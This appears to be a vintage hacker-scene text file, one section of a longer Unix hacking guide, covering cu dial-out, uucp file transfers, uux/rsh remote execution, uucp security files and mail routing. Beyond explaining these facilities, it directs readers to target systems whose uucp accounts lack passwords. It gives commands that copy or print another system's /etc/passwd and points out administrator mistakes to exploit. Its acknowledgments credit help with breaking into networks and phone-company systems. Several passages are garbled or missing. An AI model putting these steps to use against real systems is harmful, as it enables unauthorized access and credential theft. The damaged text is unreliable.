        This section will cover the workings and use of the Unix uucp 
facilities. UUCP stands for Unix to Unix Copy. The uucp utilities are for the 
exchange of files between Unix systems. There also facilities for users to dial 
out and interact with remote systems, and for executing limited commands on 
remote systems without logging in.

        The command for outward dialing is cu. The format is:

cu -n[phone number]

Such as:

cu -n13125285020

On earlier versions of Unix, the format was simply "cu [phone number]".

Note, that the format of the phone number may be different from system to 
system- for instance, a system that dials outward off of a pbx may need to have 
the number prefixed by a 9, and one that uses an extender may not need to have 
the number (if long distance) preceded by a 1. To dial out, however, the system 
must have facilities for dialing out. The file /usr/lib/uucp/Devices (called 
L-devices on earlier systems) will contain a list of the available dialout 
devices. Entries in this file are in the format:

[device type]  [device name]  [dial device]  [linespeed]  [protocol, optional]

Device type is one of 2 types: ACU and DIR. If ACU, it is a dialout device. DIR 
is a direct connection to a specific system.  Device name is the name of the 
base name of the dialout device's device file, which is located in the /dev 
directory. Dial device is usually an unused field. It was used on older systems 
where one device (device name in the above example) was used to exchange data, 
and another device (dial device, above) did the telephone dialing. In the age 
of the autodial modem, this is a rarely used feature. The next, linespeed, is 
the baud rate of the device, usually either 300, 1200, or 2400, possibly 4800 
or 9600 if the device is a direct connection. The protocol field is for 
specifying the communications protocol. This field is optional and generally 
not used. Here is an example entry for a dialout device and a direct 

ACU  tty99  unused  1200
DIR  tty03  unused  9600

If a dialout device is capable of more than one baud rate, it must have 2 
entries in the Devices (L-devices) file, one for each baud rate. Note, that the 
device in the above example is a tty- usually, dialout device names will be in 
the form tty##, as they can be used both for dialing out, and receiving 
incoming calls. The device can be named anything, however.

There are several options worth mentioning to cu:
-s      Allows you to specify the baud rate. There must be a device in the
        Devices file with this speed.
-l      Allows you to specify which device you wish to use.

If you wish to connect to a system that there is a direct connection with, 
simply type "cu -l[device]". This will connect you to it. You can also do that 
do directly connect to a dialout device, from which point, if you know what 
commands it accepts, you can give it the dial commands directly.

Using the cu command is basically the same as using a terminal program. When 
you use it to connect to a system, you then interact with that system as if you 
dialed it directly from a terminal. Like any good terminal program, the cu 
"terminal program" provides facilities for file transfers, and other commands. 
Here is a summary of the commands:

~.                 -Disconnect from the remote system.

~!                 -Temporarily execute a shell on the local system. When you 
                   wish to return to the remote system, press control-D.

~![cmd]            -Execute a command on the local system. Example: ~!ls -a

~$[cmd]            -Execute a command on the local system and send the output to
                   the remote system.

~%put f1 f2        -Sends a file to the remote system. F1 is the name of the
                   file on the local system, and f2 is the name to be given the
                   copy made on the remote system.

~take f1 f2        -Copies a file from the remote to the local system. F1 is
                   the name of the remote file, and f2 is the name to be given
                   to the local copy.

Note, that the commands for transferring output and files will only work if you 
are communicating with another Unix system.
        You may be wondering how you can find out the format for the phone 
number, which is necessary to dial out. The format can be obtained from the 
file /usr/lib/uucp/Systems (called L.sys on earlier Unix systems). This file 
contains the uucp network names and phone numbers of other Unix systems, as 
well as other information about them. This file contains the information needed 
to carry out uucp file transfers with the systems listed within it. The entries 
are in the format:

[system name]  [times]  [devicename]  [linespeed]  [phone number]  [login info]

System name is the name of the system.
Times is a list of the times when the system can be contacted. This field will 
usually just have the entry "Any", which means that the system can be contacted 
at any time. Never means that the system can never be called. You can also 
specify specific days and times when the system can be contacted. The days are 
abbreviated like this:
Su Mo Tu We Th Fr Sa
Where Su is Sunday, Mo is Monday, etc. If the system can be called on more than 
one day of the week, you can string the days together like this:SuMoTu for 
Sunday, Monday, and Tuesday. You can also specify a range of hours when the 
system can be called, in the 24 hour format, like this: Su,0000-0100 means that 
the system can be called Sunday from midnight to 1am. The week days (Monday 
through Friday) can be abbreviated as Wk.
Device name is the name of the device to call the system with. If the system is 
directly connected, this file will contain the base name of the device file of 
the device which connects it to the local system. If the system has to be 
dialed over the phone, this field will be "ACU".
Linespeed is the baud rate needed to connect to the system. There must be a 
device available with the specified baud rate to contact the system.
Phone number is the phone number of the system. By looking at these entries, 
you can obtain the format for the phone number. For instance, if this field 
contained "913125285020" for an entry, you would know that the format would be 
9+1+area code+prefix+suffix. 
The login field contains information used for uucp transfers, and will be 
discussed in detail later.
        Sometimes you will see alphabetic or other strange characters in the 
phone number field. Sometimes, these may be commands for the particular brand 
of modem that the system is using to dialout, but other times, these may 
actually be a part of the phone number. If so, the meaning of these characters 
called tokens can be found in the file /usr/lib/uucp/Dialcodes (called
L-dialcodes on earlier systems). Entries in this file are in the form:

token   translation

For example:

chicago  312

Would mean that the token chicago means to dial 312. So, if the phone number 
field of a Systems entry was:


It would mean to dial 3125285020.

You can add an entry to the Systems file for systems that you wish to call 
frequently. Simply edit the file using one of the Unix system's editors, and 
add an entry like this:

ripco  Any ACU 1200 13125285020 unused

And then any time you wished to call the BBS Ripco, you would type:

cu ripco

And the system would do the dialing for you, drawing the phone number from the 
entry for Ripco in the Systems file.

        This section will detail how a uucp file transfer works. When you issue 
the command to transfer a file to/from a remote system, the local system dials 
out to the remote system. Then, using the information contained in the login 
field of the Systems file, it logs into an account on the remote system, in 
exactly the same manner as you would log into a Unix system. Usually, however, 
uucp accounts use a special shell, called uucico, which implements certain 
security features which (are supposed to) keep the uucp account from being used 
for any other purpose than file transfers with another Unix system. (Note: not 
ALL uucp accounts will use this shell.) If you've ever logged into the uucp 
account on the system and received the message, "Shere=[system name]", and the 
system wouldn't respond to any of your input, that account was using the uucico 
shell, which prevents the account from being used as a normal "user" account. 
The local system then requests the transfer, and if security features of the 
remote system which will be discussed later do not prevent the transfer, the 
file will be copied to (or from if you requested to send a file) the local 
system. The account is then logged off of the remote system, and the connection 
is dropped.

        Many superusers feel that if the uucp account uses the uucico shell, 
that it is "secure". Because of this, they may ignore other uucp security 
measures, and probably not give the account a password. If you find such a 
system, you can add an entry for the system to the Systems (L.sys) file of 
another Unix system and try to, say, transfer a copy of its password file. To 
do so, simply follow the outline in the section on cu for how to add an entry 
to the Systems file. That will cover everything but how to add the login field, 
which is covered in this section. 
        The login section consists of expect/sendsubfields. For example, here 
is an example login field:

ogin: uucp assword: uucp

The first subfield is what is expected from the remote system, in this case 
"ogin:". This means to expect the login prompt, "Login:". Note, that you do not 
have to enter the complete text that the remote system sends, the text sent 
from the remote system is scanned left to right as it is sent until the 
expected text is found. The second subfield contains the local system's 
response, which is sent to the remote system. In this case, the local system 
sends "uucp" when it receives the login prompt. Next, the local system scans 
the output from the remote system until it receives "assword:" ("password:"), 
then sends "uucp" (the password, in this example, for the uucp account). 
Because of line noise or other interference, when the local system connects to 
the remote, it may not receive the expected string. For this possibility, you 
may specify the expected string several times, like this:

ogin:-ogin: uucp assword:-assword: uucp

The - separates that if the expected string is not received, to expect the 
string specified after the hyphen. Sometimes, you may need to send a special 
character, such as kill or newline, to the system if the expected string is not 
received. You can do that like this:

ogin:-BREAK-ogin: uucp assword: uucp

The -BREAK- means that if ogin: isn't received the first time, to send a break 
signal to the remote system, and then expect ogin: again. Other common entries 

ogin:[email protected]:           Send a kill character if the expected string isn't
                        received the first time.
ogin:-EOT-ogin:         Send a control-D if the expected string isn't received.
ogin:--ogin:            Send a null character if the expected string isnt' 

If the system you wish to transfer files with doesn't send anything when you 
first connect to it, (say, you have to press return first), the first expect 
entry should be "" (nothing), and the first send field should be \r (a return 
character). There are certain characters, like return, which are represented by 
certain symbols or combinations of characters. Here is a list of these:

\r              -Return.
@               -Kill.
-               -Null/newline character.
""              -Nothing.

        Sometimes, the login entry for a system might contain more than just 
fields to expect the login prompt, send the username, expect the password 
prompt, and send the password. For instance, if you have to go through a 
multiplexer to get to the system, the login field would contain a subfield to 
select the proper system from the multiplexer.
        Sometimes, on systems, that use the Hayes smartmodem to dial out, the 
phone number field may be left unused (will contain an arbitrary entry, such as 
the word "UNUSED"), and the dialing command will be contained in the login 
field. For example:

ripco  Any ACU 1200 UNUSED  "" ATDT13125285020 CONNECT \r ernumber: new

So, when you try to transfer a file with a Unix system called "ripco":
"UNUSED" is sent to the Hayes smartmodem. Of course, this is not a valid Hayes 
command, so it is ignored by the modem. Next, the system moves the login field. 
The first expect subfield is "", which means to expect nothing. It then sends 
the string "ATDT13125285020", which is a Hayes dialing comand, which will make 
the modem dial 13125285020. When the string "CONNECT" is received (which is 
what the smartmodem will respond with when it connects), the system sends a 
carriage return and waits for the "Usernumber:" prompt. When it receives that, 
it sends "new". This completes the login.

        Once you've completed an entry for the Unix system you wish to transfer 
files with, you can issue the uucp command, and attempt the transfer. The 
syntax to copy a file from the remote system is:

uucp remote![file pathname] [local pathname]

Where remote is the name of the system you wish to copy the file from, [file 
pathname] is the pathname of the file you wish to copy, and [local pathname] is 
the pathname of the file on the local system that you wish to name the copy 
that is made on the local system.
To transfer a file from the local system to the remote system, the syntax is:

uucp [local pathname] remote![file pathname]

Where [local pathname] is the file on the local system that you wish to 
transfer to the remote system, remote is the name of the remote system, and 
[file pathname] is the pathname you wish to give to the copy to be made on the 
remote system. 

So, to copy the ripco system's password file, type:

uucp ripco!/etc/passwd /usr/spool/uucppublic/ripcofile

Which will, hopefully, copy the password file from ripco into a file on the 
local system called /usr/spool/uucppublic/ripcofile. The directory 
/usr/spool/uucppublic is a directory set up especially for the reception of 
uucp-transferred files, although you can have the file copied to any directory 
(if the directory permissions don't prevent it).

        So, what if your transfer did not go through? Well, this section will 
detail how to find out what went wrong, and how to correct the situation.

        The uulog command is used to draw up a log of transactions with remote 
systems. You can either draw up the entries by system name, or the name of the 
user who initiated the transaction.
For our purposes, we only want to draw up the log by system name. The format 

uulog -s[system name]

Now, this will pull up the logs for ALL transactions with this particular 
system. We only want the logs for the last attempted transaction with the 
system. Unfortunately, this can't be done, you'll just have to sort through the 
logs until you reach the sequence of the last transaction. If the logs extend 
back a long time, say about a week, however, you can use the grep command to 
call up the logs only for a certain date:

uulog -s[system] | grep mm/dd-

Where mm is the month (in the form ##, such as 12 or 01) and dd is the day, in 
the same form). This takes the output of the uulog command, and searches 
through it with the grep command and only prints out those entries which 
contain the date the grep command is searching for. The log entries will be in 
the form:

[username] [system] (month/day-hour:minute-pid) DESCRIPTION


username        -Is the userid of the account that initiated the transaction.
system          -Is the name of the system that the transaction was attempted
month/day       -Date of transaction.
hour:minute     -Time of transaction.
job number      -The transfer's process id.
DESCRIPTION     -The log message.

An example of a typical log entry:

root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco)

In the above example, the root account initiated a transaction with the Ripco 
system. The system was contacted on November 20, at 2:00. The job number of the 
transaction is 1234.

Here is an explanation of the various log messages you will encounter, and 
their causes:

1. SUCCEEDED (call to [system name])

The system was successfully contacted.

2. DIAL FAILED (call to [system name])

Uucp failed to contact the system. The phone number entry for the system in the 
Systems file may be wrong, or in the wrong format.

3. OK (startup)

Conversation with the remote system has been initiated.


Uucp was unable to log into the remote system. There may be an error in the 
login field in the entry for the remote system in the Systems file, or line 
noise may have caused the login to fail.


The system's entry in the Systems file has the wrong name for the system at the 
phone number specified in the entry.


The remote system does not recognize the name of the local system, and will not 
perform transactions with an unknown system (some will, some won't...see the 
section on uucp security).

7. REQUEST ([remote file] --> [local file] username)

The file transfer has been requested.

8. OK (conversation complete)

The transfer has been completed.


Security measures prevented the file transfers.
If you get this error, you will receive mail on the local system informing you 
that the transfer was denied by the remote.


All the dialout devices were currently in use.

A successful transaction log will usually look like this:

root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco)
root ripco (11/20-2:01-1234) OK (startup)
root ripco (11/20-2:01-1234) REQUEST (ripco!/etc/passwd --> /ripcofile root)
root ripco (11/20-2:03 1234) OK (conversation complete)

        When an error occurs during a transfer with a system, a status file is 
created for that system, and remains for a set period of time, usually about an 
hour. During this time, that system cannot be contacted. These files, depending 
on which version of Unix you are on, will either be in the directory 
/usr/spool/uucp, and have the form:
STST..[system name]
or will be in the directory /usr/spool/uucp/.Status, and have the same name as 
the system. These status files will contain the reason that the last transfer 
attempt with the system failed. These files are periodically purged, and if you 
wish to contact the system before its status file is purged, you must delete 
its status file.
The files containing the failed transfer request will also remain. If you are
using the latest version of System V, these files will be in a subdirectory of
the directory /usr/spool/uucp. For instance, if the system is called ripco, 
the files will be in the directory /usr/spool/uucp/ripco. On other systems, 
these files will be in the directory /usr/spool/uucp/C., or /usr/spool/uucp. 
These files are in the form:

C.[system name]AAAAAAA

Where [system name] is the name of the system to be contacted, and AAAAAA is a 
the transfer's uucp job number. (You can see the transfer request's job number 
by specifying the j option when you initiate the transfer. For example, 
"uucp -j ripco!/etc/passwd /usr/spool/uucppublic/ripcofile" would initiate the
transfer of the ripco system's password file, and display the job number on 
your screen.) Type "cat C.system[jobnumber]", and you will see something like 

R /etc/passwd /usr/pub/.dopeypasswd root -dc dummy 777 guest

On earlier versions of Unix, these files will be in the directory 
/usr/spool/uucp/C. To find the file containing your transfer, display the 
contents of the files until you find the proper one. If your transfer fails, 
delete the transfer request file and the status file, correct any errors in the 
Systems file or whatever, and try again!

        Obviously, uucp access to files has to be restricted. Otherwise, 
anyone, from any system, could copy any file from the remote system. This 
section will cover the security features of the uucp facilities.
        The file /usr/lib/uucp/USERFILE contains a list of the directories that 
remote systems can copy from, and local users can send files from to remote 
systems. The entries in this file are in the format:

[local user],[system] [callback?] [directories]


local user      -Is the username of a local account. This is for the purpose
                of restricting which directories a local user can send files
                from to a remote system. 
system          -Is the name of a remote system. This is for the purpose of 
                restricting which directories a specific remote system can
                copy files from.
callback?       -If there is a c in this field, then if a transfer request is
                received from the system indicated in the system field, then
                the local system (in this case, the local system is the system
                which receives the transfer request, rather than the system
                that initiated it) will hang up and call the remote back (at
                the number indicated in the remote's entry in the local's
                Systems file) before starting the transfer.
directories     -Is a list of the pathnames of the directories that the remote
                system indicated in the system field can copy files from, or
                the local user indicated in the local user field can send files
                from to a remote system.

A typical entry might look like:

local_dork,ripco - /usr/spool/uucppublic

This means that the user local_dork can only send files to a remote system 
which are in the directory /usr/spool/uucppublic, and the remote system ripco 
can only copy files from the local system that are in the directory 
/usr/spool/uucppublic. This is typical: often, remotes are only allowed to copy 
files in that directory, and if they wish to copy a file from another portion 
of the system, they must notify a user on the system to move that file to the 
uucppublic directory. When a transfer request is received from a remote system, 
the local system scans through the userfile, ignoring the local user field (you 
can't restrict transfers with a particular user from a remote system...the copy 
access granted to a system in the USERFILE is granted to all users from that 
system), until it finds the entry for that system, and if the system is allowed 
to copy to or from that directory, the transfer is allowed, otherwise it is 
refused. If an entry for that system is not found, the USERFILE is scanned 
until an entry with a null system name (in other words, an entry with no system 
name specified) is found, and the directory permissions for that entry are 
used. If no entry is found with a null system name, the transfer is denied.
There are a few quirks about USERFILE entries. First, if you have copy access 
to a directory, you also have copy access to any directories below it in the 
system tree. Thus, lazy system operators, rather than carefully limiting a 
system's access to only the directories it needs access to, often just give 
them copy access to the root directory, thus giving them copy access to the 
entire system tree. Yet another mistake made by careless superusers is leaving 
the system name field empty in the entries for the local users. Thus, if a 
system that doesn't have an entry in the USERFILE requests a transfer with the 
local system, when the USERFILE is scanned for an entry with a null system 
name, if the entries for the local users come first in the USERFILE, the system 
will use the first entry for a local user it finds, since it has a null system 
name in the system name field. Note, that none of these security features even 
works if the uucp account on the system the transfer is requested with does not 
use the uucico shell. In any case, whether the account uses the uucico shell or 
not, even if you have copy access to a directory, individual file or directory 
protections may prevent the copying. For information on uucp security in yet 
another version of the uucp facilities, see the piece on the Permissions file 
in the section on uux security.

        There are 2 commands for executing commands on a remote system- uux and 
rsh (remote shell- this has nothing to do with the rsh shell [restricted Bourne 
shell]). This section will cover the uses of both.

        The uux command is one of the uucp utilities. This is used, not for 
file transfers, but for executing non-interactive commands on a remote system. 
By non-interactive, I mean commands that don't request input from the user, but 
are executed immediately when issued, such as rm and cp. The format is:

uux remote!command line

Where remote is the name of the remote system to perform the command on, and 
the rest (command line) is the command to be performed, and any arguments to 
the command. You will not receive any of the commnand's output, so this command 
can't be used for, say, printing the contents of a text file to your screen.

        If the uucp account on the remote system uses the uucico shell, then 
these security features apply to it.

        The file /usr/lib/uucp/Commands file contains a list of the commands a 
remote system can execute on the system. By remote system, in this case, I mean 
the system that the user who initiates the uux command is on, and local system 
will mean the system that receives the uux request. Entries in the file 
/usr/lib/uucp/Commands are in the following format:

  " to infinity...

The first line, PATH=[pathname], sets the searchpath for the remote system 
requesting the uux execution of a command on the local system. This entry is 
just the same as, say, a line in a login file that sets the searchpath for a 
regular account, example: PATH=/bin:/usr/bin
Which sets the searchpath to search first the directory /bin, and the the 
directory /usr/bin when a command is issued. The following entries are the base 
names of the programs/commands that the remote can execute on the local system. 
The last program/command in this list is followed by a comma and the name of 
the remote site. For example:


Means that the remote system Ripco can execute the rmail and lp commands on the 
local system. Usually, only the lp and rmail commands will be allowed.
        Again, we come to another, "different" version of the uucp facilities. 
On some systems, the commands a remote system can execute on the local system 
are contained in the file /usr/lib/uucp/Permissions. Entries in this file are 
in the form:

MACHINE=[remote] COMMANDS=[commands] REQUEST=[yes/no] SEND=[yes/no] READ=
[directories] WRITE=[directories]


Remote is the name of the remote system. Commands is a list of the commands 
the remote may execute on the local system, in the form:

For example:


The yes (or no) aft er "REQUEST=" tells whether or not the remote can copy 
files from the local system. The yes/no after "SEND=" tells whether or not the 
remote system can send files to the local system. The list of directories after 
"READ=" tells which directories the remote can copy files from (provided that 
it has REQUEST privileges), and is in the form:


For example:


Again, as before, the remote has copy access to any directories that are below 
the directories in the list in the system tree. The list of directories after 
"WRITE=" is in the same form as the list of directories after "READ=", and is a 
list of the directories that the remote can copy files TO on the local system.

        This is a new feature which I have seen on a few systems. This is not, 
to the best of my knowledge, a System V feature, but a package available for 
3rd party software vendors. If the rsh command is featured on a system, the 
restricted (rsh) Bourne shell will be renamed rshell. Rsh stands for remote 
shell, and is for the execution of any command, interactive or otherwise, on a 
remote system. The command is executed realtime, and the output from the 
command will be sent to your display. Any keys you press while this command is 
being executed will be sent to the remote system, including breaks and 
interrupts. The format is:

rsh [system] command line

For example:

rsh ripco cat /etc/passwd

Will print out the /etc/passwd file of the Ripco system on your screen. To the 
best of my knowledge, the only security features of the rsh command are the 
individual file and directory protections of the remote system.

        These are 2 commands which are for use by users to show the state of 
the local system's uucp facilities. Uuname gives a list of all the system names 
in the Systems (L.sys) file, and uustat gives a list of all pending uucp/uux 

        There are several different ways of sending mail to users on other 
systems. First of all, using the uucp and uux commands. Simply edit a text file 
containing the message you wish to send, and uucp a copy of it to the remote 
system. Then send it to the target user on that system using the uux command:

uux system!rmail [username] < [pathname]

Where system is the name of the system the target user is on, username is the 
name of the user you wish to send the mail to, and pathname is the pathname of 
the text file you sent to the remote system. This method works by executing the 
rmail command (Receive Mail), the syntax of which is "rmail [user]", and 
redirecting its input from the file you sent to the remote. This method will 
only work if the remote allows users from your local system to execut the rmail 
        The second method is for systems which feature the remote shell (rsh) 
command. If the remote system can be contacted by your local system via rsh, 

rsh system!mail [user]

And once connected, enter your message as normal.
        This last method is the method of sending mail over uucp networks. This 
method is the one employed by USENET and other large uucp networks, as well as 
many smaller and/or private networks. This method uses the simple mail command:

mail system!system!system![and so on to infinity][email protected]

The list of systems is the routing to the target system, and user is the mail 
recipient on the target system. The routing takes a bit of explanation. Imagine 
something a uucp network with connections like this:

                |                 |
              unix2             unix3
                |                 |

This network map shows what systems are on the network, and which systems have 
entries for which other systems in its Systems (L.sys) file. In this example:

Unix1 has entries for unix2 and unix3.
Unix2 has entries for unix1 and unix4.
Unix3 has entries for unix1 and unix5.
Unix4 has entries for unix2 and unix5.
Unix5 has entries for unix3 and unix4.

Now to explain the routing. If unix1 wanted to reach unix5, it couldn't do so 
directly, since it has no means of reaching it (no entry for it in its Systems 
file). So, it would "forward" the mail through a series of other systems. For 
example, to send mail to the user root on unix5, any of these routings could be 

[email protected]
[email protected]

Obviously, the first routing would be the shortest and quickest. So, to mail a 
message from unix1 to the root user on unix5, you would type:

mail [email protected]

Then type in your message and press control-D when finished, and the uucp 
facilities will deliver your mail.

        Well, this is it- the end of the file. I hope you've found it 
informative and helpful. Before I go on, I'd like to thank a few people whose 
assistance made writing this file either A: possible or B: easier-

Shadow Hawke I, for sharing many a Unix account with me.
The Warrior (of 312), for helping me get started in hacking.
Omega-- for helping me hack a large network of Unix systems.
Psychedelic Warlord, for helping me with a BSD Unix system.
Shooting Shark, for his C decoy, and more than a few good posts on Private 
Kid&Co, for providing me with some information on the Telnet program.
And lastly but not leastly, Bellcore, Southern Bell, and BOC's around the 
country for the use of their systems. Thanks, all!

I incorrectly listed in one section that chown was the command to change file protections.
The correct command is chmod.